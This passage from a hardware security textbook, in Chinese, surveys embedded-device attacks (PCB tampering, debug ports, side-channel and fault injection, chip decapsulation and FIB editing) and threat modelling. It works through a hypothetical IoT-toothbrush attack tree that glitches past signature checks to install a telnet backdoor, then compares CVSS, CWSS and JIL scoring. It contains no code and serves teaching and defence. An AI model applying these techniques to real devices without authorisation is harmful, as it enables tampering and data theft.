恶名昭彰的Spectre攻击源自 2018 年,利用了一种称为预测执行的巧妙优化。计算是否应该执行条件分支需要时间。预测执行并不等待分支条件被计算出来,而是猜测分支条件并像猜测正确一样执行下一条指令。如果猜测正确,执行就继续进行;如果猜测错误,执行将被回滚。然而,这种预测执行仍然会影响 CPU 缓存的状态。Spectre 迫使 CPU 执行一种预测操作,影响缓存的方式依赖于某些秘密值,然后使用缓存定时攻击恢复该秘密。正如 Paul Kocher 等人在《Spectre 攻击:利用预测执行》中所展示的那样,我们可以在一些现有或自制的程序中使用这个技巧,转储受害进程的整个进程内存。更大的问题是,处理器在过去几十年中一直以这种方式进行速度优化,并且还有许多类似的优化可能被利用。

PCB 级攻击

PCB 通常是设备的初始攻击面,因此攻击者必须尽可能多地从 PCB 设计中获取信息。设计提供了有关在哪里接入 PCB 的线索,或者揭示了更好的攻击点。例如,要重新编程设备的固件(可能完全控制设备),攻击者首先需要在 PCB 上识别固件编程端口。

对于 PCB 级攻击,访问许多设备所需的工具只是一把螺丝刀。一些设备实现了物理防篡改和篡改响应,例如通过 FIPS(联邦信息处理标准)140 级 3 或 4 认证的设备或支付终端。虽然这本身是一个有趣的运动,但绕过防篡改措施并接触到电子设备超出了本书的范围。

一个 PCB 级攻击的例子是利用通过跳线将某些引脚拉高或拉低来配置 SoC 选项。这些跳线在 PCB 上以 0Ω(零欧姆)电阻的形式显示(见图 1-6)。这些 SoC 选项可能包括启用调试、无签名检查启动或其他与安全相关的设置。

f01006

图 1-6:零欧姆电阻(R29 和 R31)

添加或移除跳线以改变配置非常简单。尽管现代多层 PCB 和表面贴装设备使得修改更加复杂,但只需要一只稳健的手、一台显微镜、一把镊子、一只热风枪,最重要的是耐心,就能完成这项任务。

PCB 级别的另一个有用攻击是读取 PCB 上的闪存芯片,通常它包含设备中运行的大部分软件,揭示了一个宝贵的信息宝库。虽然一些闪存设备是只读的,但大多数允许你对其进行写入关键更改,从而移除或限制安全功能。闪存芯片可能通过某种访问控制机制强制执行只读权限,而这种机制可能容易受到故障注入攻击。

对于设计时考虑到安全性的系统,闪存的更改应该导致系统无法启动,因为闪存镜像需要包含有效的数字签名。有时,闪存镜像是被打乱或加密的;前者可以被逆向(我们曾看到过简单的异或运算),后者需要获取密钥。

我们将在第三章中更详细地讨论 PCB 逆向工程,并在讨论与真实目标接口时讨论时钟和电源的控制。

逻辑攻击

逻辑攻击是在逻辑接口层面上进行的(例如,通过现有的 I/O 端口进行通信)。与 PCB 级别的攻击不同,逻辑攻击不在物理层面上工作。逻辑攻击针对嵌入式设备的软件或固件,并试图在不进行物理入侵的情况下突破安全性。你可以把它比作通过发现设备的所有者(软件)习惯于将后门(接口)保持解锁而闯入房屋(设备),因此无需破解锁具。

著名的逻辑攻击围绕着内存损坏和代码注入展开,但逻辑攻击的范围要广得多。例如,如果调试控制台仍然可用,并且连接在电子锁的隐藏串行端口上,发送“解锁”命令可能会触发锁定打开。或者,如果设备在低功耗状态下关闭一些对策,注入低电池信号可以禁用这些安全措施。逻辑攻击针对设计错误、配置错误、实现错误或可以被滥用的功能,从而突破系统的安全性。

调试和追踪

在 CPU 的设计和制造过程中,内置的最强大控制机制之一是硬件调试和追踪功能。这通常在联合测试行动小组(JTAG)串行线调试(SWD)接口之上实现。图 1-7 显示了一个暴露的 JTAG 头。

请注意,在安全设备上,保险丝、PCB 带或某些专有的秘密代码或挑战/响应机制可以关闭调试和追踪功能。可能只有在较不安全的设备上移除 JTAG 头(关于 JTAG 的更多内容将在后续章节中讨论)。

f01007

图 1-7:带有暴露 JTAG 头的 PCB。通常,它不像这个例子中那样标签明确!

模糊测试设备

模糊测试是一种借鉴自软件安全领域的技术,旨在专门识别代码中的安全问题。模糊测试的典型目标是寻找崩溃点,以便利用漏洞进行代码注入。愚蠢模糊测试即向目标发送随机数据并观察其行为。健壮和安全的目标在这种攻击下通常会保持稳定,但不够健壮或不够安全的目标可能会表现出异常行为或崩溃。崩溃转储或调试器检查可以准确定位崩溃源和可利用性。智能模糊测试则专注于协议、数据结构、典型的崩溃引发值或代码结构,更有效地生成边界情况(通常不应发生的情况),这些情况可能会导致目标崩溃。基于生成的模糊测试从头开始创建输入,而基于变异的模糊测试则修改现有输入。基于覆盖率的模糊测试使用额外的数据(例如,关于特定输入执行时哪些程序部分被触及的覆盖信息)来帮助你发现更深层次的 bug。

你也可以将模糊测试应用于设备,尽管与对软件进行模糊测试相比,这会面临更加具有挑战性的情况。对于设备模糊测试,通常很难获取软件覆盖信息,因为你可能对运行在设备上的软件控制较少。通过外部接口进行模糊测试而没有进一步控制设备的能力,会导致无法获取覆盖信息,在某些情况下,这样做会使得确认是否发生了损坏变得困难。最后,模糊测试在能够以高速进行时最为有效。在软件模糊测试中,通常每秒可以进行成千上万甚至百万次测试。在嵌入式设备上实现这样的性能并非易事。固件重托管是一种技术,它将设备的固件放入可以在 PC 上运行的仿真环境中。这解决了设备内模糊测试中的大多数问题,代价是需要创建一个有效的仿真环境。

闪存镜像分析

大多数设备包含与主 CPU 外部连接的闪存芯片。如果设备支持软件升级,通常可以在互联网上找到固件镜像。一旦你获得了镜像文件,就可以使用各种闪存镜像分析工具,如binwalk,帮助识别镜像中的各个部分,包括代码段、数据段、文件系统以及数字签名。

最后,拆解和反编译各种软件镜像对于确定潜在的漏洞非常重要。关于设备固件的静态分析(如符号执行)也有一些初步的有趣工作。请参阅 Nilo Redini 等人撰写的《BootStomp: 移动设备引导程序安全性研究》。

非侵入性攻击

非侵入性攻击不会物理修改芯片。侧信道攻击利用系统某些可测量的行为来泄露秘密(例如,通过测量设备的功耗来提取 AES 密钥)。故障攻击通过故障注入进入硬件来绕过安全机制;例如,一个强大的电磁(EM)脉冲可以禁用密码验证测试,使其接受任何密码。(本书第四章和第五章专门讨论这些主题。)

芯片侵入性攻击

这一类攻击以封装或封装内的硅为目标,因此操作的尺度非常微小——即电线和门级。进行这些操作需要比我们目前讨论的更加复杂、先进且昂贵的技术和设备。这些攻击超出了本书的范围,但我们可以简要了解高级攻击者可以做些什么。

去封装、去包装和重新连接

去封装是通过化学战手段去除一些集成电路(IC)封装材料的过程,通常是将烟雾状的硝酸或硫酸滴在芯片封装上,直到其溶解。结果是封装上留下一个孔,可以通过这个孔检查微芯片本身,如果操作得当,芯片仍然可以正常工作。

去封装过程中,你将整个封装浸入酸中,之后芯片的整个内部被暴露出来。你需要重新连接芯片,以恢复其功能,这意味着需要重新连接通常将芯片与封装引脚连接的小金属线(见图 1-8)。

f01008

图 1-8:去封装的芯片,显示了暴露的连接线(Travis Goodspeed,CC BY 2.0 许可)

尽管芯片在过程中可能会损坏,但已损坏的芯片对于成像和光学逆向工程是可以使用的。然而,对于大多数攻击,芯片必须是活的。

微观成像与逆向工程

一旦芯片暴露出来,第一步是识别芯片的较大功能模块,特别是找到感兴趣的模块。图 1-2 展示了其中的一些结构。芯片上的最大模块通常是内存,比如用于 CPU 缓存或紧耦合内存的静态 RAM(SRAM),以及用于启动代码的 ROM。任何长而几乎直的线条都是连接 CPU 和外设的总线。仅仅了解相对尺寸以及各种结构的外观,就能开始逆向工程芯片。

当芯片去封装时,如图 1-8 所示,你只能看到顶层金属层。要逆向工程整个芯片,你还需要剥层,即通过打磨掉芯片的金属层以暴露其下层。

图 1-9 显示了一个互补金属氧化物半导体(CMOS)芯片的横截面,这是大多数现代芯片的构建方式。如你所见,一些层和铜金属的通孔最终连接了晶体管(多晶硅/基板)。最底层的金属用于创建标准单元,这些单元是通过多个晶体管创建逻辑门(与、异或等)的元素。顶层金属通常用于电源和时钟布线。

f01009

图 1-9:CMOS 的横截面

图 1-10 显示了典型芯片内部不同层的照片。

f01010

图 1-10:CMOS 芯片内部的不同层(图片由 Christopher Tarnovsky 提供,邮箱:semiconductor.guru@gmail.com

良好的芯片成像可以让你从图像或启动 ROM 的二进制转储中重建网表。网表本质上是对所有逻辑门连接方式的描述,涵盖了设计中的所有数字逻辑。网表和启动 ROM 转储都可以帮助攻击者找到代码或芯片设计中的弱点。Chris Gerlinsky 的《来自矩阵的比特:光学 ROM 提取》和 Olivier Thomas 的《集成电路攻防安全》,分别在 Hardwear.io 2019 大会上展示,提供了该主题的良好介绍。

扫描电子显微镜成像

扫描电子显微镜(SEM)使用电子束对目标进行光栅扫描,并通过电子探测器测量扫描目标的图像,分辨率优于 1 纳米,允许你成像单个晶体管和电线。与显微镜成像一样,你可以从图像中创建网表。

光学故障注入与光学发射分析

一旦芯片表面可见,就可以“与光子玩乐”。由于一种叫做热载流子发光的效应,开关晶体管偶尔会发射光子。使用像业余天文爱好者常用的红外敏感电荷耦合器件(CCD)传感器,或者如果你想要更先进的设备,可以使用雪崩光电二极管(APD),你可以检测到活跃的光子区域,这有助于反向工程过程(更具体地说是侧信道分析),例如将秘密密钥与光子测量相关联。见 Alexander Schlösser 等人的《AES 的简单光子发射分析:为我们普通人提供的光子侧信道分析》。

除了使用光子观察过程外,你还可以通过改变门的导电性来注入故障,这被称为光学故障注入(有关更多细节,请参见第五章和附录 A)。

集中离子束编辑与微探针

聚焦离子束(FIB),发音为“fib”,使用离子束在纳米级别上切削芯片部分或向芯片上沉积材料,使攻击者能够切断芯片线路、重定向芯片线路,或为微探测创建探针垫。FIB 编辑需要时间和技术(以及昂贵的 FIB 设备),但正如你所想象的那样,若攻击者能够定位它们,这种编辑能够绕过许多硬件安全机制。图 Figure 1-11 中的数字展示了 FIB 为了访问下层金属层而创建的孔。这些孔周围的“帽子”结构是为了绕过主动屏蔽对策而创建的。

微探测是一种用来测量或向芯片线路注入电流的技术,对于较大特征尺寸的芯片,可能不需要 FIB 探针垫。执行这些攻击的技能是必要的,虽然一旦攻击者具备了进行此类攻击的资源,在这个层次上保持安全是异常困难的。

f01011

图 1-11:多个 FIB 编辑以促进微探测(图片由 Christopher Tarnovsky 提供, semiconductor.guru@gmail.com

我们已经在这里讨论了多种与嵌入式系统相关的攻击。请记住,任何单一攻击都足以危及系统。然而,攻击的成本和技能差异非常大,因此一定要明白你所需要的安全目标是什么。抵抗一个拥有百万美元预算的攻击者和抵抗一个拥有 25 美元及这本书副本的攻击者,是完全不同的挑战。

资产与安全目标

在考虑设计进产品中的资产时,应该问自己:“我真正关心的资产是什么?”攻击者也会问同样的问题。资产的防守者可能会对这个看似简单的问题给出一系列不同的回答。公司的 CEO 可能会关注品牌形象和财务健康。首席隐私官关注消费者私密信息的机密性,而常驻的密码学家则对秘密密钥材料感到极度敏感。所有这些回答都是相互关联的。如果密钥被暴露,客户隐私可能会受到影响,进而影响品牌形象,最终威胁到整个公司的财务健康。然而,在每个层次上,保护机制是不同的。

一个资产也代表了攻击者的价值。到底什么是有价值的,取决于攻击者的动机。它可能是一个漏洞,使得攻击者可以将代码执行漏洞卖给其他攻击者。所需的资产可能是信用卡信息或受害者的支付密钥。企业世界中的动机可能是恶意地针对竞争对手的品牌。

在进行威胁建模时,需要分析攻击者和防御者的角度。就本书而言,我们仅限于分析设备上的技术资产,因此我们假设我们的资产是表示为目标设备上某个比特序列的内容,这些内容需要保持保密并保护完整性。保密性是指保持资产对攻击者隐藏的特性,而完整性是指不允许攻击者修改资产的特性。

作为一个安全爱好者,你可能会好奇为什么我们没有提到可用性。可用性是指保持系统响应和功能性的特性,这对于数据中心和处理安全的系统(如工业控制系统和自动驾驶汽车)尤其重要,因为在这些系统中,功能中断是不能发生的。

只有在设备无法被物理访问的情况下(例如通过网络和互联网进行访问),防御资产可用性才有意义。使这类服务不可用是拒绝服务攻击的目的,旨在使网站瘫痪。对于嵌入式设备来说,妥协可用性是微不足道的:只需将其关闭,敲击它,或把它炸掉。

安全目标是指你希望如何保护所定义的资产,防范哪些类型的攻击和攻击者,以及保护多久。定义安全目标有助于将设计重点集中在应对预期威胁的策略上。由于许多可能的情景,必然会发生权衡,尽管我们意识到没有一刀切的解决方案,但接下来我们将给出一些常见的示例。

尽管不太常见,但设备强项和弱点的规格说明是供应商安全成熟度的明显标志。

二进制代码的保密性和完整性

通常,对于二进制代码,主要目标是保护完整性,确保设备上运行的代码就是作者意图的代码。完整性保护限制了代码的修改,但也带来了双刃剑的效果。强大的完整性保护可能会将设备锁定,使其所有者无法使用,限制可运行的代码。一整个黑客社区试图绕过这些机制,在游戏机上运行他们自己的代码。另一方面,完整性保护确实有意外的好处,可以防止恶意软件感染引导链、游戏盗版或政府安装后门。

保密性作为一种安全目标的目的是使复制知识产权(例如数字内容)或寻找固件中的漏洞变得更加困难。后者还使得真正的安全研究人员更难发现和报告漏洞,同时也使攻击者更难利用这些漏洞。(有关这一复杂困境的更多内容,请参见第 33 页的“披露安全问题”部分。)

密钥的保密性和完整性

加密学将数据保护问题转化为密钥保护问题。实际上,密钥通常比完整的数据块更容易保护。在威胁建模中,需要注意的是,现在有两个资产:明文数据和密钥本身。因此,将密钥的机密性作为目标,通常与所保护数据的机密性密切相关。

例如,当公钥存储在设备上进行身份验证检查时,完整性非常重要:如果攻击者能够将原始公钥替换为自己的密钥,他们就可以签署任何数据,使其通过设备上的签名验证。然而,完整性并非总是密钥的目标;例如,如果密钥的目的是解密存储的数据块,那么修改密钥只会导致无法执行解密操作。

另一个有趣的方面是如何将密钥安全地注入设备或在制造阶段生成密钥。一个选项是加密或签名密钥本身,但这又涉及到另一个密钥。这就像是“乌龟背上的乌龟”,一直往下延伸。在系统的某个地方存在一个信任根,一个我们必须信任的密钥或机制。

一种典型的解决方案是在初始密钥生成或密钥注入过程中信任制造过程。例如,受信任平台模块(TPM)规范 v2.0 要求一个背书主种子(EPS)。这个 EPS 是每个 TPM 的唯一标识符,用于推导一些主密钥材料。根据规范,这个 EPS 必须在制造过程中注入 TPM 或在 TPM 上创建。

这种做法确实限制了密钥材料的暴露,但它在制造设施中为密钥材料创建了一个关键的集中收集点。尤其是密钥注入系统必须得到良好的保护,以避免泄露此系统配置的所有部件的密钥。最佳做法是进行设备上的密钥生成,这样制造设施就不会访问所有密钥,同时采用秘密分割,确保制造过程中不同阶段注入或生成不同部分的密钥材料。

远程启动验证

启动认证是通过加密方式验证系统是否确实从真实的固件映像启动的能力。远程启动认证是指能够远程进行此验证的能力。认证涉及两方:证明者旨在向验证者证明系统的某些度量未被篡改。例如,您可以使用远程启动认证来允许或拒绝设备访问企业网络,或决定是否为设备提供在线服务。在后一种情况下,设备是证明者,在线服务是验证者,而度量则是启动过程中使用的配置数据和(固件)映像的哈希值。为了证明这些度量未被篡改,它们会在启动阶段使用私钥进行数字签名。验证者可以将签名与允许或阻止列表进行比对,并应具备验证用于创建签名的私钥的方法。验证者能够检测篡改行为,并确保远程设备没有运行过时且可能存在漏洞的启动映像。

和往常一样,这会带来一些实际问题。首先,验证者必须能够以某种方式信任证明者的签名密钥——例如,通过信任一个包含证明者公钥的证书,该证书由某个可信的权威机构签署。在最理想的情况下,这个权威机构已经能够在制造过程中建立起信任,如前文所述。第二,启动映像和数据的覆盖范围越广,现场的配置就会越多。这意味着允许所有已知良好配置变得不可行,因此必须转而阻止已知不良配置。然而,确定已知不良配置并非易事,通常只有在检测到修改并进行分析之后才能完成。

请注意,启动认证仅保护被哈希以验证真实性的启动时组件。它并不防范运行时攻击,如代码注入。

个人身份信息的机密性与完整性

个人身份信息(PII)是能够识别个体的数据。显而易见的数据包括姓名、手机号码、地址和信用卡号码,但不太显而易见的数据可能是可穿戴设备中记录的加速度计数据。当安装在设备上的应用程序外泄这些信息时,PII 的机密性就成为问题。例如,描述一个人步态的加速度计数据可以用来识别此人:请参见 Hoang Minh Thang 等人撰写的《使用手机加速度计进行步态识别》。手机电池消耗数据可以根据手机与基站的距离,通过分析手机的电池消耗模式来定位某人的位置,具体请参见 Yan Michalevsky 等人撰写的《PowerSpy:基于移动设备功耗分析的定位追踪》。

医疗领域对 PII 也有相关法规。1996 年的《健康保险可携带性与责任法案 (HIPAA)》是美国的一部法律,重点关注医疗信息的隐私保护,并适用于处理患者 PII 的任何系统。HIPAA 对技术安全有相对不具体的要求。

PII 数据的完整性至关重要,以避免冒充。在银行智能卡中,密钥材料与账户关联,因此也与身份关联。EMVCo(一个信用卡联盟)有非常明确的技术要求,与 HIPAA 不同。例如,密钥材料必须能够防御逻辑攻击、旁道攻击和故障攻击,并且这种保护需要通过经认证实验室进行实际攻击来证明。

传感器数据的完整性和保密性

你刚刚学习了传感器数据如何与 PII 相关。完整性必须很重要,因为设备需要准确地感知和记录其环境。当系统使用传感器输入控制执行器时,这一点尤为重要。一个很好的(尽管存在争议的)例子是,美国 RQ-170 无人机被迫在伊朗着陆,据信是因为其 GPS 信号被伪造,使其误以为自己正在阿富汗的美国基地着陆。

当设备使用某种形式的人工智能进行决策时,决策的完整性会受到名为 对抗机器学习 的研究领域的挑战。一个例子是通过人为修改停车标志的图片来利用神经网络分类器的弱点。对人类来说,这种修改是不可察觉的,但当使用标准的图像识别算法时,这张图片可能会变得完全无法识别,而事实上它应该是可以识别的。虽然神经网络的识别可能会受到阻碍,但现代的自动驾驶汽车有一个包含标志位置的数据库,它们可以回退使用,因此在这种特定情况下,这不应该构成安全问题。Nicolas Papernot 等人在《实用的黑箱攻击:对机器学习的攻击》一文中提供了更多细节。

内容保密保护

内容保护归结为确保人们为其消费的媒体内容付费,并且他们遵守一些许可限制,如日期和地理位置,使用 数字版权/限制管理(DRM)。DRM 主要依赖于加密数据流,以便在设备之间传输内容,并且依赖于设备内部的访问控制逻辑来拒绝软件访问明文内容。对于移动设备,大多数保护要求集中在软件攻击上,而对于机顶盒,保护要求则包括旁道攻击和故障攻击。因此,机顶盒被认为更难攻破,并且用于更高价值的内容。

安全性和韧性

安全性 是指不对他人(例如人类)造成伤害的特性,而 韧性 是指在发生(非恶意)故障时保持运行的能力。例如,卫星中的微控制器将会受到强烈辐射的影响,这种辐射会导致所谓的 单粒子翻转(SEU)。SEU 会翻转芯片状态中的比特,可能导致其决策出现错误。韧性解决方案是检测这种错误并进行修正,或者检测并重置到已知的良好状态。这种韧性不一定是安全的;它给了试图进行故障注入的攻击者无限的尝试机会,因为系统会持续接受滥用。

同样,在传感器检测到恶意活动时,立即关闭自动驾驶车辆的控制单元并不安全,尤其是在高速公路行驶时。首先,任何检测器都可能产生误报;其次,这样做可能允许攻击者利用传感器危害所有乘客。与所有目标一样,这个问题使产品开发者面临安全与安全性/韧性之间的权衡。韧性和安全性不同于安全性,有时它们与安全性相冲突。对攻击者来说,这意味着由于出于保护安全或增强韧性的良好意图,可能会给他们提供机会去破坏设备。

对策

我们将 对策 定义为任何(技术性的)手段,旨在减少攻击成功或影响的概率。对策有三个功能:保护、检测和响应。(我们将在第十四章进一步讨论一些对策。)

保护

这一类对策旨在避免或减轻攻击。一个例子是加密闪存的内容,防止窥探。如果密钥隐藏得很好,它能提供几乎无法破解的保护。其他保护措施则提供部分保护。如果单条 CPU 指令的损坏会导致可利用的故障,通过随机化关键指令的时序(跨越五个时钟周期),攻击者仍有 20% 的概率能击中它。某些保护措施可能会被完全绕过,因为它们仅对特定类型的攻击提供保护(例如,侧信道对策并不防止代码注入)。

检测

这一类对策需要硬件检测电路或软件中的检测逻辑。例如,你可以监测芯片的电源供应,观察电压峰值或下降,这些可能表明发生了电压故障攻击。你也可以使用软件来检测异常状态。例如,持续分析网络流量或应用日志的系统可以检测攻击。其他常见的异常检测技术包括验证所谓的堆栈金丝雀、检测已被访问的保护页、查找没有匹配的 case 的 switch 语句,以及检测内部变量的循环冗余校验(CRC)错误,等等。

响应

检测没有响应是没有太大意义的。响应的类型取决于设备的使用场景。对于像支付智能卡这样的高安全性设备,检测到攻击时擦除所有设备的机密信息(实际上是自我施加拒绝服务攻击)是明智的做法。而在必须继续运行的安全关键系统中,这种做法就不太适合。在这些情况下,回拨电话或回退到受限但安全的模式是更合适的响应。对于人为攻击者,另一个被低估但有效的响应是让他们失去生存意志(例如,通过重置设备并逐渐延长启动时间)。

防御措施对于构建安全系统至关重要,特别是在硬件方面,物理攻击可能完全无法防护时,增加检测与响应通常能够提升难度,超过攻击者愿意付出的代价,甚至超出他们能够做到的范围。

一个攻击树示例

现在我们已经描述了有效威胁建模所需的四个要素,让我们从一个例子开始,在这个例子中,我们作为攻击者,希望通过破解物联网牙刷来提取机密信息,并(仅仅为了好玩)将刷牙速度提高到 9 位牙医中 10 位都不赞成的程度(但最后一位牙医却乐于接受这种挑战)。

在我们的示例攻击树中,如图 1-12 所示,包含以下内容:

  • 圆形框表示攻击者所处的状态或攻击者已攻破的资产(“名词”)。

  • 方框表示攻击者已成功执行的攻击(“动词”)。

  • 实心箭头表示前述状态与攻击之间的因果流动。

  • 虚线箭头表示通过某些防御措施已被缓解的攻击。

  • 多条传入箭头表示“任何一条箭头都可以导致此结果”。

  • “和”三角形表示所有传入的箭头必须满足。

攻击树中的数字标记了牙刷攻击的各个阶段。作为攻击者,我们拥有对一把物联网牙刷的物理访问权限(1)。我们的任务是向牙刷上安装一个 telnet 后门,以确定设备上存在的个人身份信息(PII)(8),并且让牙刷以超高速运行(11)。

f01012

图 1-12:物联网牙刷攻击树

小写字母表示攻击,罗马数字表示缓解措施。我们做的第一件事是将闪存拆下来并读取内容——所有 16MB 的内容(a)。然而,我们发现该镜像没有可读的字符串。经过一些熵分析后,内容似乎是加密或压缩的,但由于没有头部信息标识压缩格式,我们假设该内容如攻击(2)和缓解措施(i)所示,是加密的。为了进行解密,我们需要加密密钥。它似乎并未存储在闪存中,这是缓解措施(ii)所示的情况,因此它很可能存储在 ROM 或熔丝中。由于我们无法访问扫描电子显微镜,因此无法“从硅片中读取它们”。

相反,我们决定进行功率分析。我们连接一个功率探测器和示波器,并在系统启动时获取功率跟踪数据。跟踪图显示大约有一百万个小峰值。通过从闪存读取数据得知图像为 16MB,我们推测每个峰值对应 16 字节的加密数据。我们假设这是一种 AES-128 加密,可能使用常见的电子密码本(ECB)密码块链接(CBC)模式。ECB是一种每个块独立解密的模式,而CBC则是一种后续块的解密依赖于前面块的模式。由于我们知道固件镜像的密文,我们可以基于测量到的峰值尝试进行功率分析攻击。在对跟踪数据进行大量预处理并进行差分功率分析(DPA)攻击(b)后,我们成功识别出了一个可能的密钥候选项。(别担心,你会在本书后续章节中了解什么是 DPA。)使用 ECB 解密得到的内容是垃圾数据,但 CBC 模式下我们得到了几个可读字符串,在攻击(c)阶段;看起来我们在阶段(3)找到了正确的密钥,并在阶段(4)成功解密了图像!

从解密后的镜像中,我们可以使用传统的软件逆向工程(g)技术来识别各个代码块的功能、数据存储位置、执行器如何驱动,以及从安全角度来看,如何寻找代码中的漏洞(9)。进一步地,我们在阶段(d)修改解密后的镜像,加入一个后门,使我们可以远程通过 Telnet 进入牙刷(5)。

我们重新加密图像并在攻击(d)中闪存它,结果发现牙刷无法启动。我们遇到的很可能是固件签名验证问题。如果没有用来签署图像的私钥,我们无法运行经过修改的图像,这是由于缓解措施(iii)的存在。一种常见的对抗这种反制措施的攻击是电压故障注入。通过故障注入,我们的目标是破坏负责决定是否接受或拒绝固件图像的那条指令。通常这是一个比较操作,使用从rsa_signature_verify()函数返回的布尔结果。由于这段代码是实现于 ROM 中,我们无法通过逆向工程获取有关实现的详细信息。因此,我们尝试一个老技巧——在未修改的图像启动时获取侧信道追踪,并将其与攻击(e)中启动修改后图像的侧信道追踪进行对比。追踪差异的地方很可能是引导代码决定是否接受固件图像的时刻,位于阶段(6)。我们在这一瞬间生成一个故障,尝试修改决策。

我们加载恶意图像,并在攻击的 5 微秒窗口内随机某一点将电压降低几百纳秒(见图(f)),大约是在我们确定决策已作出时的瞬间。经过几小时的反复攻击,我们终于运气好,牙刷成功加载了我们的恶意图像,进入了阶段(7)。现在,经过修改的代码允许我们 telnet 登录,我们达到了阶段(8),在这里我们可以远程控制刷牙操作并监视任何刷牙使用情况。而在最后一个有趣的阶段(11),我们将速度调至极限!

这显然是一个愚蠢的例子,因为获取的信息和访问权限可能不足以对一个严肃的攻击者产生足够的价值;进行侧信道和故障攻击需要物理接触,并且设备所有者进行重置会导致服务拒绝。然而,这是一次启发性的练习,玩这些玩具场景总是值得的。

在绘制攻击树时,很容易失控,导致树变得非常庞大。记住,攻击者可能只会尝试一些最简单的攻击(这个工具可以帮助识别这些攻击)。请专注于相关攻击,这些攻击可以通过在威胁建模中提前分析攻击者和攻击能力来确定。

身份识别与利用

牙刷攻击路径集中在攻击的识别 阶段,通过找到密钥、逆向固件、修改镜像并发现故障注入点来进行。记住,利用阶段是通过访问多个设备来扩展攻击。当在另一个设备上重复攻击时,可以重用识别阶段获得的许多信息。后续的攻击结果只需要在第(5)阶段的攻击(d)中刷写一个镜像,在第(6)阶段知道故障注入点,并通过攻击(f)产生故障。利用的努力总是低于识别的努力。在某些创建攻击树的形式中,每个箭头都会注释攻击的成本和努力,但在这里我们避免过多涉及定量风险建模。

可扩展性

牙刷攻击并不可扩展,因为利用阶段需要物理访问。对于 PII 或远程激活,通常只有在可以大规模实施的情况下,攻击者才会对此感兴趣。

然而,假设在我们的逆向工程攻击(g)中,第(9)阶段成功识别出一个漏洞,我们在第(10)阶段创建了一个利用工具。我们发现该漏洞通过开放的 TCP 端口可访问,因此攻击(j)可以远程利用这个漏洞。这立即改变了攻击的整个规模。通过在识别阶段使用硬件攻击,我们在利用阶段(12)可以仅依赖远程软件攻击。现在,我们可以攻击任何牙刷,获取任何人的刷牙习惯,并在全球范围内刺激牙龈。真是活在一个令人兴奋的时代。

分析攻击树

攻击树有助于可视化攻击路径,以便团队讨论、识别可以构建额外对策的节点,并分析现有对策的有效性。例如,可以很容易地看到,通过固件镜像加密(i)减缓了攻击者,迫使其使用侧信道攻击(b),这种方式比直接读取内存更加困难。同样,固件镜像签名(iii)的防护措施也迫使攻击者使用故障注入攻击(f)。

然而,主要的风险仍然是通过利用(j)进行的可扩展攻击路径,这种攻击当前没有得到缓解。显然,应该修补漏洞,引入防止利用的对策,并设置网络限制,禁止任何人远程直接连接到牙刷。

硬件攻击路径评分

除了可视化攻击路径以进行分析外,我们还可以加入一些量化因素,来评估哪些攻击对攻击者来说更容易或更便宜。在这一部分,我们介绍了几种行业标准的评级系统。

通用漏洞评分系统(CVSS)试图为漏洞的严重性打分,通常用于组织中网络化计算机的情境。它假设漏洞已知,并尝试评估如果该漏洞被利用会造成多大影响。通用弱点评分系统(CWSS)量化了系统中的弱点,但这些弱点不一定是漏洞,也不一定是在网络化计算机的情境中。最后,联合解释库(JIL)用于在通用准则(CC)认证方案中评分(硬件)攻击路径。

所有这些评分方法都有各种参数和每个参数的分数,所有这些参数和分数共同构成了一个最终的总分,以帮助比较不同的漏洞或攻击路径。这些评分方法的一个优点是,它们通过分数代替了关于参数的模糊讨论,分数的意义仅限于评分方法的目标上下文。表 1-1 提供了三个评分标准的概述及其适用范围。

表 1-1:攻击评分系统概览

通用漏洞评分系统 通用弱点评分系统 通用准则联合解释库
目的 帮助组织进行漏洞管理流程 优先解决软件弱点,满足政府、学术界和工业界的需求 评分攻击以通过/未通过 CC 评估
影响 区分机密性/完整性/可用性 技术影响 0.0–1.0,获得的权限(层级) 不适用
资产 价值 不适用 业务影响 0.0–1.0 不适用
识别 成本 假设识别已经完成 被发现的可能性 识别阶段的评分,包括时间流逝、专业知识、知识、访问权限、设备和开放样本
利用 成本 各种因素;没有硬件方面 各种因素;没有硬件方面 利用阶段评分
攻击 向量 四个级别,从物理到远程 级别 0.0–1.0,从物理到互联网 假设攻击者物理在场
外部 缓解措施 “修改”类别包括缓解措施 外部控制效果 无外部缓解措施
可扩展性 并不完全是,有些相关方面 并不完全是,有些相关方面 低利用成本可能意味着可扩展性

在防御情境下,你可以使用评分来判断攻击发生后的影响,以决定如何应对攻击。例如,如果在某个软件中发现了漏洞,CVSS 评分可以帮助决定是推出紧急修补程序(及其相关费用),还是将修复程序推迟到下一个主要版本,如果漏洞较小的话。

你还可以在防御性上下文中使用评分来判断需要哪些对策。在通用标准智能卡认证的背景下,JIL 评分实际上成为了安全目标的一个关键部分——芯片必须抵御被评为最高 30 分的攻击,才能被认为对高攻击潜力的攻击者具有抵抗力。SOG-IS 文档《攻击潜力在智能卡中的应用》解释了这种评分,并涉及了一些硬件攻击。为了给你一个评分的概念,如果使用双激光束系统进行激光故障注入,需要几周时间才能提取出一个秘密密钥,这种攻击的评分为 30 分或以下。如果使用侧信道攻击需要六个月才能提取密钥,那么就不需要实施对策,因为这种攻击的评分为 31 分或更高。

CWSS 旨在对系统中的弱点进行评分,以便在它们被利用之前进行评估。这是一个在开发过程中非常有用的评分方法,因为它有助于为弱点的修复措施分配优先级。大家都知道,每个修复都需要付出成本,而且试图修复所有漏洞是不切实际的,因此对弱点进行评分可以让开发人员集中精力解决最重要的问题。

在现实中,大多数攻击者也会进行某种评分,以最小化攻击成本并最大化攻击的影响。尽管攻击者在这些话题上并没有发布太多内容,但 Dino Dai Zovi 在 2011 年 SOURCE 波士顿会议上做了一场名为“攻击者数学 101”的精彩演讲,尝试为攻击者成本设定一些界限。

这些评分是有限的、模糊的、不精确的、主观的,并且不具备特定市场背景,但它们为讨论攻击或漏洞提供了一个良好的起点。如果你正在为嵌入式系统进行威胁建模,我们建议从 JIL 开始,它主要关注硬件攻击。当涉及软件攻击时,使用 CWSS,因为这些是评分方法的应用背景。使用 CWSS 时,你可以去掉无关的方面,调整其他方面,比如业务影响,以评估资产的价值或可扩展性。此外,确保你对整个攻击路径进行评分,从攻击者的起点一直到对资产的影响,这样你就能在不同评分之间做出一致的比较。三种评分方法都无法很好地处理可扩展性问题:对百万台系统的攻击可能只会比对单台系统的攻击产生稍微更差的评分。其他限制也毫无疑问地存在,但目前没有更好的行业标准。

